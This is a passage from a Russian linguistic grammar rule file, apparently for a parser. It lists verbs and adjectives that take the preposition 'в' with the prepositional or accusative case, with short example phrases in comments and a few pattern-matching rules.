rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
rus_verbs:расходиться{}, // Маша и Петя расходятся в разные стороны
rus_verbs:переодеваться{}, // переодеваться в женское платье
rus_verbs:перерастать{}, // перерастать в массовые беспорядки
rus_verbs:завязываться{}, // завязываться в узел
rus_verbs:похватать{}, // похватать в руки
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:помещать{}, // помещать в изолятор
rus_verbs:зыркнуть{}, // зыркнуть в окошко
rus_verbs:закатать{}, // закатать в асфальт
rus_verbs:усаживаться{}, // усаживаться в кресло
rus_verbs:загонять{}, // загонять в сарай
rus_verbs:подбрасывать{}, // подбрасывать в воздух
rus_verbs:телеграфировать{}, // телеграфировать в центр
rus_verbs:вязать{}, // вязать в стопы
rus_verbs:подлить{}, // подлить в огонь
rus_verbs:заполучить{}, // заполучить в распоряжение
rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
